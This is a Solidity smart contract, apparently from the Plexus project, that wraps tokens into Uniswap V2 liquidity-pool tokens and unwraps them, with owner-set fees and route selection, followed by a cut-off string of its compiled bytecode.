/* `.-:+osyhhhhhhyso+:-.` .:+ydmNNNNNNNNNNNNNNNNNNmdy+:. .+ymNNNNNNNNNNNNNNNNNNNNNNNNNNNNmy+. `/hmNNNNNNNNmdys+//:::://+sydmNNNNNNNNmh/` .odNNNNNNNdy+-.` `.-+ydNNNNNNNdo. `omNNNNNNdo-` `-odNNNNNNmo` :dNNNNNNh/` `/hNNNNNNd: `oNNNNNNh: /-/. :hNNNNNNo` `yNNNNNm+` mNNm- `+mNNNNNy` `hNNNNNd- hNNNm. -dNNNNNh` yNNNNNd. .ymNNh .dNNNNNy /NNNNNm. -mNNys+. .mNNNNN/ `mNNNNN: `:hNNNNNNNs` :NNNNNm` /NNNNNh `+dNNNNNNNNNNd. hNNNNN/ yNNNNN/ .:+syyhhhhhmNNNNNNNNNNNNNm` /NNNNNy dNNNNN. `+dNNNNNNNNNNNNNNNNNNNNNNNmd+ .NNNNNd mNNNNN` -dNNNNNNNNNNNNNNNNNNNNNNm- `NNNNNm dNNNNN. -NNNNNNNNNNNNNNNNNNNNNNNN+ .NNNNNd yNNNNN/ dNNNNNNNNNNNNNNNNNNNNNNNN: /NNNNNy /NNNNNh .NNNNNNNNNNNNNNNNNNNNNNNNd` hNNNNN/ `mNNNNN: -NNNNNNNNNNNNNNNNNNNNNNNh. :NNNNNm` /NNNNNm. `NNNNNNNNNNNNNNNNNNNNNh: .mNNNNN/ yNNNNNd. .yNNNNNNNNNNNNNNNdmNNN/ .dNNNNNy `hNNNNNd- `dmNNNNNNNNNNNNdo-`.hNNh -dNNNNNh` `yNNNNNm+` oNNmmNNNNNNNNNy. `sNNdo. `+mNNNNNy` `oNNNNNNh: ....++///+++++. -+++. :hNNNNNNo` :dNNNNNNh/` `/hNNNNNNd: `omNNNNNNdo-` `-odNNNNNNmo` .odNNNNNNNdy+-.` `.-+ydNNNNNNNdo. `/hmNNNNNNNNmdys+//:::://+sydmNNNNNNNNmh/` .+ymNNNNNNNNNNNNNNNNNNNNNNNNNNNNmy+. .:+ydmNNNNNNNNNNNNNNNNNNmdy+:. `.-:+yourewelcome+:-.` /$$$$$$$ /$$ /$$ /$$ | $$__ $$| $$ | $$$ /$$$ | $$ \ $$| $$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$ | $$$$ /$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ | $$$$$$$/| $$ /$$__ $$| $$ /$$/| $$ | $$ /$$_____/ | $$ $$/$$ $$ /$$__ $$| $$__ $$ /$$__ $$| $$ | $$ | $$____/ | $$| $$$$$$$$ \ $$$$/ | $$ | $$| $$$$$$ | $$ $$$| $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ | $$ | $$ | $$| $$_____/ >$$ $$ | $$ | $$ \____ $$ | $$\ $ | $$| $$ | $$| $$ | $$| $$_____/| $$ | $$ | $$ | $$| $$$$$$$ /$$/\ $$| $$$$$$/ /$$$$$$$/ | $$ \/ | $$| $$$$$$/| $$ | $$| $$$$$$$| $$$$$$$ |__/ |__/ \_______/|__/ \__/ \______/ |_______/ |__/ |__/ \______/ |__/ |__/ \_______/ \____ $$ /$$ | $$ | $$$$$$/ \______/ */ // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity 0.7.4; interface ERC20 { function totalSupply() external view returns(uint supply); function balanceOf(address _owner) external view returns(uint balance); function transfer(address _to, uint _value) external returns(bool success); function transferFrom(address _from, address _to, uint _value) external returns(bool success); function approve(address _spender, uint _value) external returns(bool success); function allowance(address _owner, address _spender) external view returns(uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } interface WrappedETH { function totalSupply() external view returns(uint supply); function balanceOf(address _owner) external view returns(uint balance); function transfer(address _to, uint _value) external returns(bool success); function transferFrom(address _from, address _to, uint _value) external returns(bool success); function approve(address _spender, uint _value) external returns(bool success); function allowance(address _owner, address _spender) external view returns(uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); function deposit() external payable; function withdraw(uint256 wad) external; } interface UniswapFactory{ function getPair(address tokenA, address tokenB) external view returns (address pair); } interface LPERC20{ function token0() external view returns(address); function token1() external view returns(address); } interface UniswapV2{ function addLiquidity ( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH ( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityETH ( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns ( uint256 amountToken, uint256 amountETH ); function removeLiquidity ( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB ); function swapExactTokensForTokens ( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns ( uint256[] memory amounts ); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } library SafeMath { function mul(uint256 a, uint256 b) internal view returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal view returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal view returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal view returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract WrapAndUnWrap{ using SafeMath for uint256; address payable public owner; //placehodler token address for specifying eth tokens address public ETH_TOKEN_ADDRESS = address(0x0); address public WETH_TOKEN_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; WrappedETH wethToken = WrappedETH(WETH_TOKEN_ADDRESS); uint256 approvalAmount = 1000000000000000000000000000000; uint256 longTimeFromNow = 1000000000000000000000000000; address uniAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address uniFactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; UniswapV2 uniswapExchange = UniswapV2(uniAddress); UniswapFactory factory = UniswapFactory(uniFactoryAddress); mapping (address => address[]) public lpTokenAddressToPairs; mapping(string=>address) public stablecoins; mapping(address=>mapping(address=>address[])) public presetPaths; bool public changeRecpientIsOwner; uint256 public fee = 0; uint256 public maxfee = 0; modifier onlyOwner { require( msg.sender == owner, "Only owner can call this function." ); _; } fallback() external payable { } constructor() public payable { stablecoins["DAI"] = 0x6B175474E89094C44Da98b954EedeAC495271d0F; stablecoins["USDT"] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; stablecoins["USDC"] = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; changeRecpientIsOwner = false; owner= msg.sender; } function wrap(address sourceToken, address[] memory destinationTokens, uint256 amount) public payable returns(address, uint256){ ERC20 sToken = ERC20(sourceToken); ERC20 dToken = ERC20(destinationTokens[0]); if(destinationTokens.length==1){ if(sourceToken != ETH_TOKEN_ADDRESS){ require(sToken.transferFrom(msg.sender, address(this), amount), "You have not approved this contract or do not have enough token for this transfer 1"); if(sToken.allowance(address(this), uniAddress) < amount.mul(2)){ sToken.approve(uniAddress, amount.mul(3)); } } conductUniswap(sourceToken, destinationTokens[0], amount); uint256 thisBalance = dToken.balanceOf(address(this)); dToken.transfer(msg.sender, thisBalance); return (destinationTokens[0], thisBalance); } else{ bool updatedweth =false; if(sourceToken == ETH_TOKEN_ADDRESS){ WrappedETH sToken1 = WrappedETH(WETH_TOKEN_ADDRESS); sToken1.deposit{value:msg.value}(); sToken = ERC20(WETH_TOKEN_ADDRESS); amount = msg.value; sourceToken = WETH_TOKEN_ADDRESS; updatedweth =true; } if(sourceToken != ETH_TOKEN_ADDRESS && updatedweth==false){ require(sToken.transferFrom(msg.sender, address(this), amount), "You have not approved this contract or do not have enough token for this transfer 2"); if(sToken.allowance(address(this), uniAddress) < amount.mul(2)){ sToken.approve(uniAddress, amount.mul(3)); } } if(destinationTokens[0] == ETH_TOKEN_ADDRESS){ destinationTokens[0] = WETH_TOKEN_ADDRESS; } if(destinationTokens[1] == ETH_TOKEN_ADDRESS){ destinationTokens[1] = WETH_TOKEN_ADDRESS; } if(sourceToken !=destinationTokens[0]){ conductUniswap(sourceToken, destinationTokens[0], amount.div(2)); } if(sourceToken !=destinationTokens[1]){ conductUniswap(sourceToken, destinationTokens[1], amount.div(2)); } ERC20 dToken2 = ERC20(destinationTokens[1]); uint256 dTokenBalance = dToken.balanceOf(address(this)); uint256 dTokenBalance2 = dToken2.balanceOf(address(this)); if(dToken.allowance(address(this), uniAddress) < dTokenBalance.mul(2)){ dToken.approve(uniAddress, dTokenBalance.mul(3)); } if(dToken2.allowance(address(this), uniAddress) < dTokenBalance2.mul(2)){ dToken2.approve(uniAddress, dTokenBalance2.mul(3)); } (,,uint liquidityCoins) = uniswapExchange.addLiquidity(destinationTokens[0],destinationTokens[1], dTokenBalance, dTokenBalance2, 1,1, address(this), longTimeFromNow); address thisPairAddress = factory.getPair(destinationTokens[0],destinationTokens[1]); ERC20 lpToken = ERC20(thisPairAddress); lpTokenAddressToPairs[thisPairAddress] =[destinationTokens[0], destinationTokens[1]]; uint256 thisBalance =lpToken.balanceOf(address(this)); if(fee>0){ uint256 totalFee = (thisBalance.mul(fee)).div(10000); if(totalFee >0){ lpToken.transfer(owner, totalFee); } thisBalance =lpToken.balanceOf(address(this)); lpToken.transfer(msg.sender, thisBalance); } else{ lpToken.transfer(msg.sender, thisBalance); } //transfer any change to changeRecipient (from a pair imbalance. Should never be more than a few basis points) address changeRecipient = msg.sender; if(changeRecpientIsOwner == true){ changeRecipient = owner; } if(dToken.balanceOf(address(this)) >0){ dToken.transfer(changeRecipient, dToken.balanceOf(address(this))); } if(dToken2.balanceOf(address(this)) >0){ dToken2.transfer(changeRecipient, dToken2.balanceOf(address(this))); } return (thisPairAddress,thisBalance) ; } } function updateStableCoinAddress(string memory coinName, address newAddress) public onlyOwner returns(bool){ stablecoins[coinName] = newAddress; return true; } function updatePresetPaths(address sellToken, address buyToken, address[] memory newPath ) public onlyOwner returns(bool){ presetPaths[sellToken][buyToken] = newPath; return true; } //owner can turn on ability to collect a small fee from trade imbalances on LP conversions function updateChangeRecipientBool(bool changeRecpientIsOwnerBool ) public onlyOwner returns(bool){ changeRecpientIsOwner = changeRecpientIsOwnerBool; return true; } function unwrap(address sourceToken, address destinationToken, uint256 amount) public payable returns( uint256){ address originalDestinationToken = destinationToken; ERC20 sToken = ERC20(sourceToken); if(destinationToken == ETH_TOKEN_ADDRESS){ destinationToken = WETH_TOKEN_ADDRESS; } ERC20 dToken = ERC20(destinationToken); if(sourceToken != ETH_TOKEN_ADDRESS){ require(sToken.transferFrom(msg.sender, address(this), amount), "You have not approved this contract or do not have enough token for this transfer 3 unwrapping"); } LPERC20 thisLpInfo = LPERC20(sourceToken); lpTokenAddressToPairs[sourceToken] = [thisLpInfo.token0(), thisLpInfo.token1()]; if(lpTokenAddressToPairs[sourceToken].length !=0){ if(sToken.allowance(address(this), uniAddress) < amount.mul(2)){ sToken.approve(uniAddress, amount.mul(3)); } uniswapExchange.removeLiquidity(lpTokenAddressToPairs[sourceToken][0], lpTokenAddressToPairs[sourceToken][1], amount, 0,0, address(this), longTimeFromNow); ERC20 pToken1 = ERC20(lpTokenAddressToPairs[sourceToken][0]); ERC20 pToken2 = ERC20(lpTokenAddressToPairs[sourceToken][1]); uint256 pTokenBalance = pToken1.balanceOf(address(this)); uint256 pTokenBalance2 = pToken2.balanceOf(address(this)); if(pToken1.allowance(address(this), uniAddress) < pTokenBalance.mul(2)){ pToken1.approve(uniAddress, pTokenBalance.mul(3)); } if(pToken2.allowance(address(this), uniAddress) < pTokenBalance2.mul(2)){ pToken2.approve(uniAddress, pTokenBalance2.mul(3)); } if(lpTokenAddressToPairs[sourceToken][0] != destinationToken){ conductUniswap(lpTokenAddressToPairs[sourceToken][0], destinationToken, pTokenBalance); } if(lpTokenAddressToPairs[sourceToken][1] != destinationToken){ conductUniswap(lpTokenAddressToPairs[sourceToken][1], destinationToken, pTokenBalance2); } uint256 destinationTokenBalance = dToken.balanceOf(address(this)); if(originalDestinationToken == ETH_TOKEN_ADDRESS){ wethToken.withdraw(destinationTokenBalance); if(fee >0){ uint256 totalFee = (address(this).balance.mul(fee)).div(10000); if(totalFee >0){ owner.transfer(totalFee); } msg.sender.transfer(address(this).balance); } else{ msg.sender.transfer(address(this).balance); } } else{ if(fee >0){ uint256 totalFee = (destinationTokenBalance.mul(fee)).div(10000); if(totalFee >0){ dToken.transfer(owner, totalFee); } destinationTokenBalance = dToken.balanceOf(address(this)); dToken.transfer(msg.sender, destinationTokenBalance); } else{ dToken.transfer(msg.sender, destinationTokenBalance); } } return destinationTokenBalance; } else{ if(sToken.allowance(address(this), uniAddress) < amount.mul(2)){ sToken.approve(uniAddress, amount.mul(3)); } if(sourceToken != destinationToken){ conductUniswap(sourceToken, destinationToken, amount); } uint256 destinationTokenBalance = dToken.balanceOf(address(this)); dToken.transfer(msg.sender, destinationTokenBalance); return destinationTokenBalance; } } function updateOwnerAddress(address payable newOwner) onlyOwner public returns (bool){ owner = newOwner; return true; } function updateUniswapExchange(address newAddress ) public onlyOwner returns (bool){ uniswapExchange = UniswapV2( newAddress); uniAddress = newAddress; return true; } function updateUniswapFactory(address newAddress ) public onlyOwner returns (bool){ factory = UniswapFactory( newAddress); uniFactoryAddress = newAddress; return true; } function conductUniswap(address sellToken, address buyToken, uint amount) internal returns (uint256 amounts1){ if(sellToken ==ETH_TOKEN_ADDRESS && buyToken == WETH_TOKEN_ADDRESS){ wethToken.deposit{value:msg.value}(); } else if(sellToken == address(0x0)){ // address [] memory addresses = new address[](2); address [] memory addresses = getBestPath(WETH_TOKEN_ADDRESS, buyToken, amount); //addresses[0] = WETH_TOKEN_ADDRESS; //addresses[1] = buyToken; uniswapExchange.swapExactETHForTokens{value:msg.value}(0, addresses, address(this), 1000000000000000 ); } else if(sellToken == WETH_TOKEN_ADDRESS){ wethToken.withdraw(amount); //address [] memory addresses = new address[](2); address [] memory addresses = getBestPath(WETH_TOKEN_ADDRESS, buyToken, amount); //addresses[0] = WETH_TOKEN_ADDRESS; //addresses[1] = buyToken; uniswapExchange.swapExactETHForTokens{value:amount}(0, addresses, address(this), 1000000000000000 ); } else{ address [] memory addresses = getBestPath(sellToken, buyToken, amount); uint256 [] memory amounts = conductUniswapT4T(addresses, amount ); uint256 resultingTokens = amounts[amounts.length-1]; return resultingTokens; } } //gets the best path to route the transaction on Uniswap function getBestPath(address sellToken, address buyToken, uint256 amount) public view returns (address[] memory){ address [] memory defaultPath =new address[](2); defaultPath[0]=sellToken; defaultPath[1] = buyToken; if(presetPaths[sellToken][buyToken].length !=0){ return presetPaths[sellToken][buyToken]; } if(sellToken == stablecoins["DAI"] || sellToken == stablecoins["USDC"] || sellToken == stablecoins["USDT"]){ return defaultPath; } if(buyToken == stablecoins["DAI"] || buyToken == stablecoins["USDC"] || buyToken == stablecoins["USDT"]){ return defaultPath; } address[] memory daiPath = new address[](3); address[] memory usdcPath =new address[](3); address[] memory usdtPath =new address[](3); daiPath[0] = sellToken; daiPath[1] = stablecoins["DAI"]; daiPath[2] = buyToken; usdcPath[0] = sellToken; usdcPath[1] = stablecoins["USDC"]; usdcPath[2] = buyToken; usdtPath[0] = sellToken; usdtPath[1] = stablecoins["USDT"]; usdtPath[2] = buyToken; uint256 directPathOutput = getPriceFromUniswap(defaultPath, amount)[1]; uint256[] memory daiPathOutputRaw = getPriceFromUniswap(daiPath, amount); uint256[] memory usdtPathOutputRaw = getPriceFromUniswap(usdtPath, amount); uint256[] memory usdcPathOutputRaw = getPriceFromUniswap(usdcPath, amount); //uint256 directPathOutput = directPathOutputRaw[directPathOutputRaw.length-1]; uint256 daiPathOutput = daiPathOutputRaw[daiPathOutputRaw.length-1]; uint256 usdtPathOutput = usdtPathOutputRaw[usdtPathOutputRaw.length-1]; uint256 usdcPathOutput = usdcPathOutputRaw[usdcPathOutputRaw.length-1]; uint256 bestPathOutput = directPathOutput; address[] memory bestPath = new address[](2); address[] memory bestPath3 = new address[](3); //return defaultPath; bestPath = defaultPath; bool isTwoPath = true; if(directPathOutput < daiPathOutput){ isTwoPath=false; bestPathOutput = daiPathOutput; bestPath3 = daiPath; } if(bestPathOutput < usdcPathOutput){ isTwoPath=false; bestPathOutput = usdcPathOutput; bestPath3 = usdcPath; } if(bestPathOutput < usdtPathOutput){ isTwoPath=false; bestPathOutput = usdtPathOutput; bestPath3 = usdtPath; } require(bestPathOutput >0, "This trade will result in getting zero tokens back. Reverting"); if(isTwoPath==true){ return bestPath; } else{ return bestPath3; } } function getPriceFromUniswap(address [] memory theAddresses, uint amount) public view returns (uint256[] memory amounts1){ try uniswapExchange.getAmountsOut(amount,theAddresses ) returns (uint256[] memory amounts){ return amounts; } catch { uint256 [] memory amounts2= new uint256[](2); amounts2[0]=0; amounts2[1]=0; return amounts2; } } function conductUniswapT4T(address [] memory theAddresses, uint amount) internal returns (uint256[] memory amounts1){ uint256 deadline = 1000000000000000; uint256 [] memory amounts = uniswapExchange.swapExactTokensForTokens(amount, 0, theAddresses, address(this),deadline ); return amounts; } function adminEmergencyWithdrawTokens(address token, uint amount, address payable destination) public onlyOwner returns(bool) { if (address(token) == ETH_TOKEN_ADDRESS) { destination.transfer(amount); } else { ERC20 tokenToken = ERC20(token); require(tokenToken.transfer(destination, amount)); } return true; } function setFee(uint256 newFee) public onlyOwner returns (bool){ require(newFee<=maxfee, "Admin cannot set the fee higher than the current maxfee"); fee = newFee; return true; } function setMaxFee(uint256 newMax) public onlyOwner returns (bool){ require(maxfee==0, "Admin can only set max fee once and it is perm"); maxfee = newMax; return true; } function addLPPair(address lpAddress, address token1, address token2) onlyOwner public returns (bool){ lpTokenAddressToPairs[lpAddress] = [token1, token2]; return true; } function getLPTokenByPair(address token1, address token2) view public returns (address lpAddr){ address thisPairAddress = factory.getPair(token1,token2); return thisPairAddress; } function getUserTokenBalance(address userAddress, address tokenAddress) public view returns (uint256){ ERC20 token = ERC20(tokenAddress); return token.balanceOf(userAddress); } }
0x6080604052600436106101665760003560e01c80639eb527c6116100d1578063dac6be441161008a578063ddca3f4311610064578063ddca3f431461082c578063de3047ba14610841578063e2af413f14610856578063ee6cd05a1461091257610166565b8063dac6be44146106e9578063db7bdff614610722578063dd81f567146107e957610166565b80639eb527c6146104e8578063a85341911461051b578063ab86496c1461055e578063ae0d3f7214610591578063bd35d48a14610691578063c05cb691146106d457610166565b8063710e5d2f11610123578063710e5d2f1461031557806373f8fd4b1461033f5780638af1d5bd1461038c5780638cc7104f146103c75780638da5cb5b146103fd57806393d31e011461041257610166565b806312eff661146101685780631878d1f1146101af5780632db08e1b146101e0578063579a7e1a14610225578063631a982c1461023a57806369fe0e2d146102eb575b005b34801561017457600080fd5b5061019b6004803603602081101561018b57600080fd5b50356001600160a01b031661093e565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c46109bb565b604080516001600160a01b039092168252519081900360200190f35b3480156101ec57600080fd5b5061019b6004803603606081101561020357600080fd5b506001600160a01b0381358116916020810135821691604090910135166109ca565b34801561023157600080fd5b506101c4610a5f565b34801561024657600080fd5b506101c46004803603602081101561025d57600080fd5b810190602081018135600160201b81111561027757600080fd5b82018360208201111561028957600080fd5b803590602001918460018302840111600160201b831117156102aa57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a6e945050505050565b3480156102f757600080fd5b5061019b6004803603602081101561030e57600080fd5b5035610a94565b34801561032157600080fd5b5061019b6004803603602081101561033857600080fd5b5035610b28565b34801561034b57600080fd5b5061037a6004803603604081101561036257600080fd5b506001600160a01b0381358116916020013516610bba565b60408051918252519081900360200190f35b34801561039857600080fd5b506101c4600480360360408110156103af57600080fd5b506001600160a01b0381358116916020013516610c43565b61037a600480360360608110156103dd57600080fd5b506001600160a01b03813581169160208101359091169060400135610c9a565b34801561040957600080fd5b506101c4611c06565b6104c56004803603606081101561042857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561045257600080fd5b82018360208201111561046457600080fd5b803590602001918460208302840111600160201b8311171561048557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250611c15915050565b604080516001600160a01b03909316835260208301919091528051918290030190f35b3480156104f457600080fd5b5061019b6004803603602081101561050b57600080fd5b50356001600160a01b0316612ef7565b34801561052757600080fd5b5061019b6004803603606081101561053e57600080fd5b506001600160a01b03813581169160208101359160409091013516612f74565b34801561056a57600080fd5b5061019b6004803603602081101561058157600080fd5b50356001600160a01b03166130a2565b34801561059d57600080fd5b50610641600480360360408110156105b457600080fd5b810190602081018135600160201b8111156105ce57600080fd5b8201836020820111156105e057600080fd5b803590602001918460208302840111600160201b8311171561060157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250613111915050565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561067d578181015183820152602001610665565b505050509050019250505060405180910390f35b34801561069d57600080fd5b506101c4600480360360608110156106b457600080fd5b506001600160a01b038135811691602081013590911690604001356132c7565b3480156106e057600080fd5b5061019b61330c565b3480156106f557600080fd5b506101c46004803603604081101561070c57600080fd5b506001600160a01b038135169060200135613315565b34801561072e57600080fd5b5061019b6004803603606081101561074557600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561077857600080fd5b82018360208201111561078a57600080fd5b803590602001918460208302840111600160201b831117156107ab57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061334d945050505050565b3480156107f557600080fd5b506106416004803603606081101561080c57600080fd5b506001600160a01b038135811691602081013590911690604001356133cc565b34801561083857600080fd5b5061037a613a28565b34801561084d57600080fd5b5061037a613a2e565b34801561086257600080fd5b5061019b6004803603604081101561087957600080fd5b810190602081018135600160201b81111561089357600080fd5b8201836020820111156108a557600080fd5b803590602001918460018302840111600160201b831117156108c657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505090356001600160a01b03169150613a349050565b34801561091e57600080fd5b5061019b6004803603602081101561093557600080fd5b50351515613b06565b600080546001600160a01b031633146109885760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b50600980546001600160a01b0383166001600160a01b031991821681179092556007805490911690911790556001919050565b6001546001600160a01b031681565b600080546001600160a01b03163314610a145760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b6040805180820182526001600160a01b0380861682528481166020808401919091529087166000908152600a90915291909120610a529160026140e9565b50600190505b9392505050565b6002546001600160a01b031681565b8051602081830181018051600b825292820191909301209152546001600160a01b031681565b600080546001600160a01b03163314610ade5760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b600f54821115610b1f5760405162461bcd60e51b81526004018080602001828103825260378152602001806141c36037913960400191505060405180910390fd5b50600e55600190565b600080546001600160a01b03163314610b725760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b600f5415610bb15760405162461bcd60e51b815260040180806020018281038252602e815260200180614300602e913960400191505060405180910390fd5b50600f55600190565b600080829050806001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610c0d57600080fd5b505afa158015610c21573d6000803e3d6000fd5b505050506040513d6020811015610c3757600080fd5b50519150505b92915050565b6009546040805163e6a4390560e01b81526001600160a01b038581166004830152848116602483015291516000938493169163e6a43905916044808301926020929190829003018186803b158015610c0d57600080fd5b600154600090839085906001600160a01b0380841691161415610cc6576002546001600160a01b031694505b60015485906001600160a01b03888116911614610d9957604080516323b872dd60e01b81523360048201523060248201526044810187905290516001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b158015610d3257600080fd5b505af1158015610d46573d6000803e3d6000fd5b505050506040513d6020811015610d5c57600080fd5b5051610d995760405162461bcd60e51b815260040180806020018281038252605f8152602001806142a1605f913960600191505060405180910390fd5b60008790506040518060400160405280826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610de257600080fd5b505afa158015610df6573d6000803e3d6000fd5b505050506040513d6020811015610e0c57600080fd5b50516001600160a01b0390811682526040805163d21220a760e01b815290516020938401939286169263d21220a79260048082019391829003018186803b158015610e5657600080fd5b505afa158015610e6a573d6000803e3d6000fd5b505050506040513d6020811015610e8057600080fd5b50516001600160a01b0390811690915289166000908152600a60205260409020610eab9160026140e9565b506001600160a01b0388166000908152600a6020526040902054156119b557610ed5866002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519186169163dd62ed3e91604480820192602092909190829003018186803b158015610f2857600080fd5b505afa158015610f3c573d6000803e3d6000fd5b505050506040513d6020811015610f5257600080fd5b50511015610fee576006546001600160a01b038085169163095ea7b39116610f7b896003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610fc157600080fd5b505af1158015610fd5573d6000803e3d6000fd5b505050506040513d6020811015610feb57600080fd5b50505b6008546001600160a01b038981166000908152600a602052604081208054929093169263baa2abde9290919061102057fe5b60009182526020808320909101546001600160a01b038d81168452600a90925260409092208054919092169190600190811061105857fe5b6000918252602082200154600554604080516001600160e01b031960e088901b1681526001600160a01b039586166004820152949092166024850152604484018c905260648401839052608484018390523060a485015260c4840152805160e480850194929391928390030190829087803b1580156110d657600080fd5b505af11580156110ea573d6000803e3d6000fd5b505050506040513d604081101561110057600080fd5b50506001600160a01b0388166000908152600a602052604081208054829061112457fe5b60009182526020808320909101546001600160a01b038c81168452600a90925260408320805492909116935090600190811061115c57fe5b6000918252602080832090910154604080516370a0823160e01b815230600482015290516001600160a01b039283169550918616926370a0823192602480840193829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d602081101561125357600080fd5b50519050611262826002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519187169163dd62ed3e91604480820192602092909190829003018186803b1580156112b557600080fd5b505afa1580156112c9573d6000803e3d6000fd5b505050506040513d60208110156112df57600080fd5b5051101561137b576006546001600160a01b038086169163095ea7b39116611308856003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561134e57600080fd5b505af1158015611362573d6000803e3d6000fd5b505050506040513d602081101561137857600080fd5b50505b611386816002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519186169163dd62ed3e91604480820192602092909190829003018186803b1580156113d957600080fd5b505afa1580156113ed573d6000803e3d6000fd5b505050506040513d602081101561140357600080fd5b5051101561149f576006546001600160a01b038085169163095ea7b3911661142c846003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b50505b6001600160a01b038c81166000908152600a602052604081208054928e16929091906114c757fe5b6000918252602090912001546001600160a01b031614611524576001600160a01b038c166000908152600a602052604081208054611522929061150657fe5b6000918252602090912001546001600160a01b03168c84613b87565b505b6001600160a01b038c81166000908152600a602052604090208054918d1691600190811061154e57fe5b6000918252602090912001546001600160a01b0316146115b0576001600160a01b038c166000908152600a6020526040902080546115ae9190600190811061159257fe5b6000918252602090912001546001600160a01b03168c83613b87565b505b6000866001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156115ff57600080fd5b505afa158015611613573d6000803e3d6000fd5b505050506040513d602081101561162957600080fd5b50516001549091506001600160a01b038a8116911614156117805760035460408051632e1a7d4d60e01b81526004810184905290516001600160a01b0390921691632e1a7d4d9160248082019260009290919082900301818387803b15801561169157600080fd5b505af11580156116a5573d6000803e3d6000fd5b505050506000600e54111561174d5760006116d76127106116d1600e5447613b6790919063ffffffff16565b90613f27565b9050801561171a57600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015611718573d6000803e3d6000fd5b505b60405133904780156108fc02916000818181858888f19350505050158015611746573d6000803e3d6000fd5b505061177b565b60405133904780156108fc02916000818181858888f19350505050158015611779573d6000803e3d6000fd5b505b6119a5565b600e54156119295760006117a56127106116d1600e5485613b6790919063ffffffff16565b9050801561183157600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051918b169263a9059cbb926044808401936020939083900390910190829087803b15801561180457600080fd5b505af1158015611818573d6000803e3d6000fd5b505050506040513d602081101561182e57600080fd5b50505b604080516370a0823160e01b815230600482015290516001600160a01b038a16916370a08231916024808301926020929190829003018186803b15801561187757600080fd5b505afa15801561188b573d6000803e3d6000fd5b505050506040513d60208110156118a157600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519193506001600160a01b038a169163a9059cbb9160448082019260209290919082900301816000